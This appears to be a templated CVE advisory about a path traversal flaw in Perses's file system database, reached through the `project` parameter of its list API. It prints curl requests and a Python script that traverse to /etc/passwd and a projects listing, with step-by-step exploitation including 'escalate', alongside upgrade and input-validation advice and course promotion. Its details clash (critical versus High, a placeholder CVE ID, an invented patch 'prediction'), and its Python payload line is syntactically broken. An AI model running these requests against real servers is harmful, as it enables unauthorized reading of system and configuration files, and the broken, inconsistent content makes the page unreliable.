Listen to this Post
to CVE-2024-XXXXX
CVE-2024-XXXXX is a critical path traversal vulnerability affecting Perses, an open-source dashboard and visualization tool for observability data. The flaw manifests when Perses is configured to use its file system database backend, a feature intended for development and small-scale deployments. The core issue lies in the list API endpoints, where the `project` query parameter is bound directly from the incoming HTTP request into the internal resource `Query` struct. Crucially, this value is never subjected to validation against directory-traversal sequences (such as ../), because the validation and flattening logic only executes for Create and Update request bodies, not for list queries. This omission allows an attacker to craft a malicious request containing relative path segments. The unvalidated path is subsequently used by the file system database driver to construct a file path for retrieving data. By exploiting this, an authenticated or even unauthenticated attacker (depending on deployment context) can read arbitrary YAML or JSON files present on the server’s host file system. Furthermore, the vulnerability enables the bypass of security constraints, granting access to other resources contained within the file-based database. For instance, requesting https://localhost:8080/api/v1/dashboards?project=../projects` returns the list of projects, which should normally be inaccessible, thereby leaking sensitive configuration and data. This vulnerability underscores the risks of using file system databases in production environments without rigorous input sanitization on all API endpoints.
<h2 style="color: blue;">DailyCVE Form:</h2>
Platform: Perses
Version: All file system DB versions
Vulnerability : Path Traversal
Severity: High
date: 2024-05-15
<h2 style="color: blue;">Prediction: 2024-06-30</h2>
<h2 style="color: blue;">What Undercode Say:</h2>
<h2 style="color: blue;">Analytics</h2>
<h2 style="color: blue;">Bash Commands and Codes:</h2>
Exploit to read the projects list
curl -X GET "http://localhost:8080/api/v1/dashboards?project=../projects"
Exploit to read a specific file
curl -X GET "http://localhost:8080/api/v1/dashboards?project=../../../../etc/passwd"
Python script to automate traversal
import requests
base_url = "http://localhost:8080/api/v1/dashboards"
payload = "../" 5 + "etc/passwd"
response = requests.get(f"{base_url}?project={payload}")
print(response.text)
<h2 style="color: blue;">How Exploit: (Educational Purposes!)</h2>
1. Identify Target: Locate a Perses instance using the file system database.
2. Craft Malicious Request: Send a GET request to a list endpoint (e.g.,/api/v1/dashboards) with the `project` parameter set to a directory traversal payload (e.g., `../projects` or../../../../etc/passwd`).
3. Retrieve Data: The server will process the unvalidated path and return the contents of the targeted file or directory listing.
4. Escalate: Use the leaked information to further compromise the system or access sensitive data.
Protection: from this CVE
Upgrade: Apply the official patch as soon as it becomes available (expected around 2024-06-30).
Workaround: Avoid using the file system database in production environments. Migrate to a supported SQL database (e.g., PostgreSQL, MySQL) which is not susceptible to this file system traversal issue.
Input Validation: If the file system database must be used, implement a reverse proxy or middleware to sanitize the `project` parameter, blocking any path traversal characters.
Impact:
Successful exploitation allows an attacker to read arbitrary YAML or JSON files from the server host, leading to a significant breach of confidentiality. This can expose sensitive configuration, credentials, and other critical data. The vulnerability also bypasses security constraints, enabling unauthorized access to resources within the file database, potentially compromising the entire Perses instance and its connected observability data.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
